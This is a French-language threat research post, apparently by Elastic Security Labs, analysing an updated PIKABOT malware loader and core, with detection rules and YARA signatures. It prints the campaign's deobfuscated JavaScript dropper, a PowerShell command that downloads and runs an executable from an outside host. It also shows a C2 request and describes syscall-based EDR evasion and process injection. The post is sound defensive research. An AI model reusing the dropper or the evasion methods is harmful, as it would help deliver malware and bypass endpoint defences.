PIKABOT, je vous choisis !

PIKABOT en bref

PIKABOT est un chargeur largement déployé que les acteurs malveillants utilisent pour distribuer des charges utiles telles que Cobalt Strike ou lancer des ransomwares. Le 8 février, l'équipe d'Elastic Security Labs a observé de nouvelles campagnes PIKABOT, dont une variante mise à jour. Cette version du chargeur PIKABOT utilise une nouvelle méthode de décompression et une forte obfuscation. Le module de base a ajouté une nouvelle implémentation de décryptage de chaînes, des changements dans la fonctionnalité d'obscurcissement et d'autres modifications.

Ce billet présente la campagne initiale, décompose la nouvelle fonctionnalité du chargeur et passe en revue les principaux composants. Cette nouvelle mise à jour présente des choix de conception intéressants qui, selon nous, marquent le début d'une nouvelle base de code qui apportera de nouvelles améliorations au fil du temps. Bien que les fonctionnalités soient similaires à celles des versions précédentes, ces nouvelles mises à jour ont probablement brisé les signatures et les outils précédents.

Au cours de l'élaboration de cette étude, l'équipe ThreatLabz de Zscaler a publié d'excellentes analyses et réflexions sur un échantillon qui recoupe celui de cet article. Nous vous conseillons de lire leur travail en même temps que le nôtre pour bien comprendre les changements apportés par PIKABOT.

Principaux points abordés dans cet article

• De nouvelles campagnes impliquant des mises à jour significatives du chargeur PIKABOT et de ses principaux composants
• Le chargeur PIKABOT utilise une nouvelle technique de décompression consistant à combiner des morceaux épars de données cryptées au format base64 à partir de la section .data.
• Les modifications apportées au cœur du système comprennent une réduction de l'obscurcissement et des fonctions RC4 en ligne, la configuration du texte en clair au moment de l'exécution, la suppression de l'AES pendant les communications réseau.
• Le développement de PIKABOT semble être un travail en cours, avec des mises à jour futures probablement imminentes.
• La visibilité de la pile d'appels grâce à Elastic Security permet de trier rapidement les menaces telles que PIKABOT.

Aperçu de la campagne PIKABOT

Au début de la nouvelle année, la distribution de PIKABOT est restée inactive jusqu'à il y a environ deux semaines. Cette nouvelle campagne du 8 février comportait des courriels avec des hyperliens menant à des fichiers d'archives ZIP contenant un script Javascript obfusqué malveillant.

Vous trouverez ci-dessous le contenu du fichier JavaScript obscurci, montrant la séquence suivante pour télécharger et exécuter le chargeur de PIKABOT à l'aide de PowerShell.

// deobfuscated
var sites = ['https://gloverstech[.]com/tJWz9/', '', '']
for (var i = 0x0; i < 3; i++)
{
	var obj = new ActiveXObject("WScript.Shell")
	obj['Run']("powershell Invoke-WebRequest https://gloverstech[.]com/tJWz9/0.2343379541861872.dat -OutFile %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe; saps %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe")
}

Chargeur PIKABOT

Phase 1 du chargeur

Pour paraître authentique, le développeur a modifié un outil de recherche et de remplacement légitime appelé grepWinNP3.exe et provenant de ce dépôt. L'utilisation de notre projet interne de sandboxing(Detonate) et l'exploitation de la fonction de pile d'appels d' Elastic Defend ont fourni une trace détaillée de l'exécution, ce qui nous a permis de localiser le point d'entrée du code malveillant.

Une analyse des données de la pile d'appels révèle que l'exécution commence à un appel avant l'offset 0x81aa7 dans le fichier malveillant ; l'exécution saute ensuite à une allocation de mémoire à un appel avant l'offset 0x25d84. En outre, il a été observé que la pile d'appels de création de processus ne contient pas les appels normaux à KernelBase.dll!CreateProcessInternalW et ntdll.dll!NtCreateUserProcess, en raison de l'utilisation d'un appel de système via l'exécution d'un shellcode résidant dans la mémoire non sauvegardée. En utilisant cette implémentation, il contournera les crochets du mode utilisateur sur les modules WOW64 afin d'éviter les produits EDR.

En examinant l'offset 0x81aa7 du fichier malveillant et en effectuant une comparaison de code côte à côte avec une version vérifiée et bénigne du fichier grepWinNP3.exe, nous avons identifié quelque chose de distinct et d'inhabituel : une adresse codée en dur pour exécuter le chargeur PIKABOT, ce qui marque le point d'entrée du chargeur PIKABOT.

Le code malveillant utilise une technique d'obscurcissement lourde, dans laquelle un saut (JMP) suit chaque instruction d'assemblage. Cette approche complique considérablement l'analyse en perturbant le déroulement normal de l'exécution.

Le chargeur extrait la charge utile de l'étape 2 de la section .text, où elle est stockée en morceaux de 0x94 octets, avant de consolider les morceaux. Il emploie ensuite un algorithme de décryptage apparemment personnalisé, qui utilise des opérations par bits.

L'étape suivante du processus consiste à charger par réflexion le fichier PE dans les limites du processus en cours d'exécution. Cette technique consiste à charger dynamiquement le contenu du fichier PE dans la mémoire et à l'exécuter, sans qu'il soit nécessaire d'écrire physiquement le fichier sur le disque. Cette méthode permet non seulement de rationaliser le processus d'exécution en éliminant la nécessité d'interactions avec des fichiers externes, mais aussi d'améliorer considérablement la furtivité en minimisant l'empreinte numérique laissée sur le système hôte.

Chargeur étape 2

Le chargeur de l'étape 2 , chargé d'initialiser le noyau de PIKABOT au sein d'un processus nouvellement établi, utilise un mélange de techniques d'obscurcissement du code et des chaînes de caractères similaires à celles que l'on trouve dans le noyau lui-même. Outre ses capacités d'obscurcissement, le chargeur intègre une série de contre-mesures anti-débogage avancées.

Anti-débogage

Le logiciel malveillant utilise des API NTDLL Zw spécifiques pour diverses opérations, notamment la détection du débogueur, la création de processus et l'injection, dans le but de rester sous le radar des mécanismes de détection et d'échapper au crochetage EDR (Endpoint Detection and Response) au niveau de l'utilisateur, ainsi qu'aux tentatives de débogage.

Il exécute directement les appels de système, en contournant les appels d'API conventionnels qui sont plus susceptibles d'être surveillés et interceptés. Il utilise une fonction d'enveloppe qui facilite l'exécution des appels de système en mode 64 bits et qui prend en paramètre un hachage du nom de l'API Zw.

La fonction wrapper extrait l'ID de l'appel de service en analysant la NTDLL chargée et en faisant correspondre le hachage du nom de la fonction Zw. Après avoir trouvé l'ID de syscall correct, il utilise l'API Windows Wow64Transition pour exécuter le syscall en mode 64 bits.

Notez que les paramètres nécessaires sont placés sur la pile avant que le wrapper ne soit appelé. L'exemple suivant illustre un appel à ZwQueryInformationProcess avec le paramètre ProcessInformationClass fixé à ProcessDebugPort(7) :

Le logiciel malveillant utilise une série de techniques anti-débogage conçues pour déjouer la détection par les outils de débogage et de criminalistique. Ces techniques sont les suivantes

• Appeler ZwQuerySystemInformation avec le paramètre SystemKernelDebuggerInformation pour détecter la présence de débogueurs de noyau.
• Appeler ZwQueryInformationProcess avec la valeur ProcessInformationClass fixée à ProcessDebugPort pour identifier les ports de débogage associés au processus.
• Appeler à nouveau ZwQueryInformationProcess, mais avec le paramètre ProcessInformationClass fixé à ProcessDebugFlags, pour vérifier si le processus a été marqué pour le débogage.
• Inspecter le bloc d'environnement du processus (PEB) à la recherche de l'indicateur BeingDebugged, qui indique si le processus est en cours de débogage.
• Utilisation de GetThreadContext pour détecter les points d'arrêt matériels. Analyse de la liste des processus en cours d'exécution afin d'identifier tout outil de débogage ou d'investigation actif.

Il est intéressant de noter que nous avons découvert un bogue dans lequel le premier octet de certains noms de processus vérifiés est supprimé, ce qui pourrait indiquer une erreur de l'auteur du logiciel malveillant ou un effet secondaire indésirable ajouté par l'outil d'obscurcissement. Vous trouverez la liste complète des noms de processus contrôlés à la fin de cet article.

Exécution

Le chargeur remplit une variable globale avec les adresses des API essentielles des bibliothèques NTDLL et KERNEL32. Cette étape est cruciale pour le fonctionnement du logiciel malveillant, car ces adresses sont nécessaires à l'exécution des tâches suivantes. Notez que le chargeur utilise un algorithme de hachage des noms d'API différent de celui utilisé précédemment pour les API Zw.

Vous trouverez ci-dessous la structure reconstruite :

struct global_variable
{
  int debugger_detected;
  void* LdrLoadDll;
  void* LdrGetProcedureAddress;
  void* RtlAllocateHeap;
  void* RtlFreeHeap;
  void* RtlDecompressBuffer;
  void* RtlCreateProcessParametersEx;
  void* RtlDestroyProcessParameters;
  void* ExitProcess;
  void* CheckRemoteDebuggerPresent;
  void* VirtualAlloc;
  void* GetThreadContext;
  void* VirtualFree;
  void* CreateToolhelp32Snapshot;
  void* Process32FirstW;
  void* Process32NextW;
  void* ntdll_module;
  void* kernel32_dll;
  int field_48;
  uint8_t* ptr_decrypted_PIKABOT_core;
  int decrypted_PIKABOT_core_size;
  TEB* TEB;
};

Structure du chargeur

Le logiciel malveillant consolide ensuite les octets du noyau PIKABOT qui sont dispersés dans la section .data dans des morceaux codés en base64, ce qui est remarquable par rapport à une version précédente qui chargeait un ensemble de PNG à partir de sa section de ressources.

Il exécute une séquence de neuf fonctions distinctes, chacune effectuant des opérations similaires mais avec des arguments différents. Chaque fonction décrypte une clé RC4 à l'aide d'un processus en ligne qui utilise des chaînes de caractères qui semblent légitimes. La fonction décode ensuite chaque morceau en base64 avant de décrypter les octets.

Après avoir consolidé les octets décryptés, il utilise l'API RtlDecompressBuffer pour les décompresser.

Le chargeur crée une instance suspendue de ctfmon.exe à l'aide de l'appel de système ZwCreateUserProcess, une tactique conçue pour se faire passer pour un processus Windows légitime. Ensuite, il alloue une grande région de mémoire à distance via l'appel syscall ZwAllocateVirtualMemory pour héberger le fichier PE du noyau PIKABOT.

Ensuite, le chargeur écrit le noyau PIKABOT dans la zone de mémoire nouvellement allouée à l'aide de l'appel de système ZwWriteVirtualMemory. Il redirige ensuite le flux d'exécution de ctfmon.exe vers le noyau malveillant de PIKABOT en appelant l'API SetContextThread pour modifier l'adresse d'exécution du thread. Enfin, il reprend le fil avec ZwResumeThread syscall.

PIKABOT core

Le comportement général et les fonctionnalités du noyau PIKABOT mis à jour sont similaires à ceux des versions précédentes : le bot recueille les données initiales de la machine victime et présente à l'acteur de la menace un accès de commande et de contrôle pour permettre un comportement post-compromission tel que l'exécution de la ligne de commande, la découverte ou le lancement de charges utiles supplémentaires par le biais de l'injection.

Les différences notables sont les suivantes :

• Nouveau style d'obscurcissement avec moins de fonctions en ligne
• Plusieurs implémentations pour le décryptage des chaînes de caractères
• Configuration en clair au moment de l'exécution, suppression du format JSON
• La communication en réseau utilise le RC4 plus l'échange d'octets, ce qui supprime l'AES.

Obfuscation

L'une des différences les plus évidentes concerne l'obscurcissement de PIKABOT. Cette version contient un binaire nettement moins obscurci, mais offre une sensation familière par rapport aux versions antérieures. Au lieu d'un barrage de fonctions RC4 en ligne, il n'en reste plus que quelques-unes après la nouvelle mise à jour. Malheureusement, les variables globales et les instructions inutiles font encore l'objet d'un grand nombre d'obscurcissements.

Vous trouverez ci-dessous un exemple typique de code indésirable inséré entre le code du logiciel malveillant proprement dit, dans le seul but d'allonger le temps d'analyse et d'ajouter de la confusion.

Décryptage des chaînes de caractères

Comme indiqué précédemment, certaines fonctions RC4 en ligne sont encore utilisées pour décrypter les chaînes de caractères. Dans les versions précédentes, le noyau utilisait l'encodage base64 comme étape supplémentaire en combinaison avec l'utilisation d'AES et de RC4 pour obscurcir les chaînes ; dans cette version du noyau, nous n'avons pas vu d'encodage base64 ou d'AES utilisé pour le décryptage des chaînes.

Voici un exemple d'une fonction RC4 en ligne restante utilisée pour décrypter le mutex codé en dur. Dans cette version, PIKABOT continue d'utiliser des chaînes de caractères légitimes comme clé RC4 pour décrypter les données.

Dans cette nouvelle version, PIKABOT inclut une implémentation différente pour l'obscurcissement des chaînes de caractères en utilisant des chaînes de pile et en plaçant des caractères individuels dans un tableau dans un ordre aléatoire. Vous trouverez ci-dessous un exemple utilisant netapi32.dll:

Anti-débogage

En termes d'anti-débogage dans cette version, PIKABOT vérifie le site BeingDebuggedFlag dans le PEB en plus d'utiliser CheckRemoteDebuggerPresent. Dans notre exemple, une valeur codée en dur (0x2500) est renvoyée si un débogueur est attaché. Ces contrôles ne sont malheureusement pas effectués en un seul endroit, mais dispersés à différents endroits du binaire, par exemple juste avant que les demandes de réseau ne soient effectuées.

Exécution

En ce qui concerne l'exécution et le comportement général, le noyau de PIKABOT suit de près le flux d'exécution des versions antérieures. Lors de l'exécution, PIKABOT analyse le PEB et utilise le hachage d'API pour résoudre les bibliothèques nécessaires au moment de l'exécution. Ensuite, il valide la machine victime en vérifiant l'identifiant de la langue à l'aide de GetUserDefaultLangID. Si l'adresse LangID est définie comme étant russe (0x419) ou ukrainienne (0x422), le logiciel malveillant interrompt immédiatement son exécution.

Après la vérification du langage, PIKABOT crée un mutex pour empêcher la réinfection sur la même machine. Notre exemple utilise le mutex suivant : {6F70D3AF-34EF-433C-A803-E83654F6FD7C}

Ensuite, le logiciel malveillant génère un UUID à partir de la machine victime en utilisant le numéro de volume du système en combinaison avec le nom d'hôte et le nom d'utilisateur. PIKABOT génère alors une clé RC4 unique à partir de RtlRandomEx et la place dans la structure de configuration pour l'utiliser ultérieurement lors de ses communications réseau.

Collection initiale

La phase suivante consiste à collecter les informations relatives à la machine de la victime et à placer ces données dans une structure personnalisée qui sera ensuite cryptée et envoyée après la demande initiale d'enregistrement. Les actions suivantes sont utilisées pour prendre l'empreinte digitale et identifier la victime et son réseau :

• Récupère le nom de l'utilisateur associé au fil PIKABOT.
• Récupère le nom de l'ordinateur
• Obtention d'informations sur le processeur
• Récupère les informations sur le dispositif d'affichage à l'aide de EnumDisplayDevicesW
• Récupère les informations sur le contrôleur de domaine en utilisant DsGetDcNameW
• Collecte l'utilisation actuelle de la mémoire physique et de la mémoire virtuelle à l'aide de GlobalMemoryStatusEx
• Obtient les dimensions de la fenêtre à l'aide de GetWindowRect utilisées pour identifier les environnements de bac à sable.
• Récupère les informations sur les produits du système d'exploitation Windows à l'aide de RtlGetVersion
• Utilise le site CreateToolhelp32Snapshot pour récupérer les informations relatives au processus

Config

Une décision de développement étrange dans cette nouvelle version concerne la configuration des logiciels malveillants. Au moment de l'exécution, la configuration est en clair et se trouve à un seul endroit de la mémoire. Cela finit par s'effacer de la mémoire. Nous pensons que cela ne durera que temporairement, car les versions précédentes protégeaient la configuration et c'est devenu une attente standard face aux familles de logiciels malveillants les plus répandues.

Réseau

PIKABOT effectue des communications réseau via HTTPS sur des ports non traditionnels (2967, 2223, etc.) en utilisant User-Agent Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro). Le numéro de construction du module principal de PIKABOT est concaténé à partir de la configuration et peut être trouvé dans les requêtes réseau cryptées, la version que nous avons analysée est étiquetée comme 1.8.32-beta.

Lors de cette première demande d'enregistrement au serveur C2, PIKABOT enregistre le bot tout en envoyant les informations collectées précédemment et cryptées avec RC4. La clé RC4 est envoyée dans ce paquet initial à l'emplacement (0x10). Comme indiqué précédemment, PIKABOT n'utilise plus l'AES dans ses communications réseau.

POST https://158.220.80.167:2967/api/admin.teams.settings.setIcon HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
User-Agent: Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)
Content-Length: 6778
Host: 158.220.80.167:2967

00001a7600001291000016870000000cbed67c4482a40ad2fc20924a06f614a40256fca898d6d2e88eecc638048874a8524d73037ab3b003be6453b7d3971ef2d449e3edf6c04a9b8a97e149a614ebd34843448608687698bae262d662b73bb316692e52e5840c51a0bad86e33c6f8926eb850c2...

Demande d'enregistrement initial PIKABOT

Pour chaque requête réseau sortante, PIKABOT choisit au hasard l'un des URI suivants :

/api/admin.conversations.convertToPrivate
/api/admin.conversations.getConversationPrefs
/api/admin.conversations.restrictAccess.removeGroup
/api/admin.emoji.add
/api/admin.emoji.addAlias
/api/admin.emoji.list
/api/admin.inviteRequests.approved.list
/api/admin.teams.admins.list
/api/admin.teams.settings.setIcon
/api/admin.usergroups.addTeams
/api/admin.users.session.reset
/api/apps.permissions.users.list

Liste des URI utilisés dans les requêtes C2 de PIKABOT

Contrairement aux versions précédentes, dans lesquelles les données relatives aux victimes étaient placées dans un format structuré à l'aide de JSON, les données contenues dans ces demandes sont des octets bruts. Les premiers octets ( 16 ) sont utilisés pour transmettre des informations de configuration spécifiques (ID de la commande bot, décalage d'octet, etc.). Les 32 octets suivants intègrent la clé RC4 pour la session, puis les données cryptées sont suivies dans la demande.

Il existe une transformation supplémentaire pour laquelle les développeurs ont ajouté un déplacement aléatoire d'octets qui se produit au moment de l'exécution. Ce nombre (0x18) au décalage (0xF) dans l'exemple de demande ci-dessous représente le nombre d'octets à déplacer de la fin des données cryptées au début des données cryptées. Dans notre exemple, pour réussir à décrypter les données, les derniers octets 18 doivent être placés devant les octets (0xDA 0x9E).

Fonctionnalité du robot

En ce qui concerne les fonctionnalités de base du bot, elles sont similaires à celles des versions précédentes : exécution de commandes, découverte, ainsi que capacités d'injection de processus. De notre point de vue, il s'agit encore d'un travail en cours. Un ID de commande (0x982) est une fonction vide, dans un autre cas, il y a trois ID de commande uniques pointant vers la même fonction. Cela indique que ce logiciel n'est pas tout à fait complet.

Logiciels malveillants et MITRE ATT&CK

Elastic utilise le cadre MITRE ATT& CK pour documenter les tactiques, techniques et procédures communes que les menaces persistantes avancées utilisent contre les réseaux d'entreprise.

Tactiques

Les tactiques représentent le pourquoi d' une technique ou d'une sous-technique. Il s'agit de l'objectif tactique de l'adversaire : la raison pour laquelle il effectue une action.

• Accès initial
• Exécution
• Évasion par la défense
• Découverte
• Commande et contrôle
• Exfiltration

Techniques

Les techniques représentent la manière dont un adversaire atteint un objectif tactique en effectuant une action.

• Phishing
• Exécution par l'utilisateur : Lien malveillant
• Chargement du code réfléchissant
• Recherche d'informations sur le système
• Injection de processus
• Canal crypté

Détection des logiciels malveillants

La prévention

• Module réseau chargé à partir d'une mémoire non sauvegardée suspecte
• Exécution d'un shellcode à partir d'un module à faible réputation
• Écriture suspecte dans la mémoire d'un processus distant
• Allocation de mémoire à distance suspecte
• Création de processus avec une atténuation inhabituelle
• Windows.Trojan.PikaBot

YARA

Elastic Security a créé des règles YARA pour identifier cette activité. Vous trouverez ci-dessous les règles de YARA permettant d'identifier PIKABOT:

rule Windows_Trojan_Pikabot_5441f511 {
    meta:
        author = "Elastic Security"
        creation_date = "2024-02-15"
        last_modified = "2024-02-15"
        license = "Elastic License v2"
        description = "Related to PIKABOT core"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.PIKABOT"

    strings:
        $handler_table = { 72 26 [6] 6F 24 [6] CB 0A [6] 6C 03 [6] 92 07 }
        $api_hashing = { 3C 60 76 ?? 83 E8 20 8B 0D ?? ?? ?? ?? 6B FF 21 }
        $debug_check = { A1 ?? ?? ?? ?? FF 50 ?? 50 50 80 7E ?? 01 74 ?? 83 7D ?? 00 75 ?? }
        $checksum = { 55 89 E5 8B 55 08 69 02 E1 10 00 00 05 38 15 00 00 89 02 5D C3 }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $read_xbyte_config = { 8B 43 04 8B 55 F4 B9 FC FF FF FF 83 C0 04 29 D1 01 4B 0C 8D 0C 10 89 4B 04 85 F6 ?? ?? 89 16 89 C3 }
    condition:
        2 of them
}

rule Windows_Trojan_Pikabot_95db8b5a {
    meta:
        author = "Elastic Security"
        creation_date = "2024-02-15"
        last_modified = "2024-02-15"
        license = "Elastic License v2"
        description = "Related to PIKABOT loader"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.PIKABOT"

    strings:
        $syscall_ZwQueryInfoProcess = { 68 9B 8B 16 88 E8 73 FF FF FF }
        $syscall_ZwCreateUserProcess = { 68 B2 CE 2E CF E8 5F FF FF FF }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $payload_chunking = { 8A 84 35 ?? ?? ?? ?? 8A 95 ?? ?? ?? ?? 88 84 1D ?? ?? ?? ?? 88 94 35 ?? ?? ?? ?? 02 94 1D ?? ?? ?? ?? }
        $loader_rc4_decrypt_chunk = { F7 FF 8A 84 15 ?? ?? ?? ?? 89 D1 8A 94 1D ?? ?? ?? ?? 88 94 0D ?? ?? ?? ?? 8B 55 08 88 84 1D ?? ?? ?? ?? 02 84 0D ?? ?? ?? ?? 0F B6 C0 8A 84 05 ?? ?? ?? ?? 32 04 32 }
    condition:
        2 of them
}

Observations

Toutes les observables sont également disponibles au téléchargement dans les formats ECS et STIX.

Les observables suivants ont été examinés dans le cadre de cette recherche.

Références

Les éléments suivants ont été référencés tout au long de la recherche ci-dessus :

• https://www.zscaler.com/blogs/security-research/d-evolution-PIKABOT
• https://x.com/Cryptolaemus1/status/1755655639370514595?s=20

Annexe

Process Name Checks
tcpview.exe
filemon.exe
autoruns.exe
autorunsc.exe
ProcessHacker.exe
procmon.exe
procexp.exe
idaq.exe
regmon.exe
idaq64.exe


x32dbg.exe
x64dbg.exe
Fiddler.exe
httpdebugger.exe
cheatengine-i386.exe
cheatengine-x86_64.exe
cheatengine-x86_64-SSE4-AVX2.exe


PETools.exe
LordPE.exe
SysInspector.exe
proc_analyzer.exe
sysAnalyzer.exe
sniff_hit.exe
windbg.exe
joeboxcontrol.exe
joeboxserver.exe
ResourceHacker.exe


ImmunityDebugger.exe
Wireshark.exe
dumpcap.exe
HookExplorer.exe
ImportREC.exe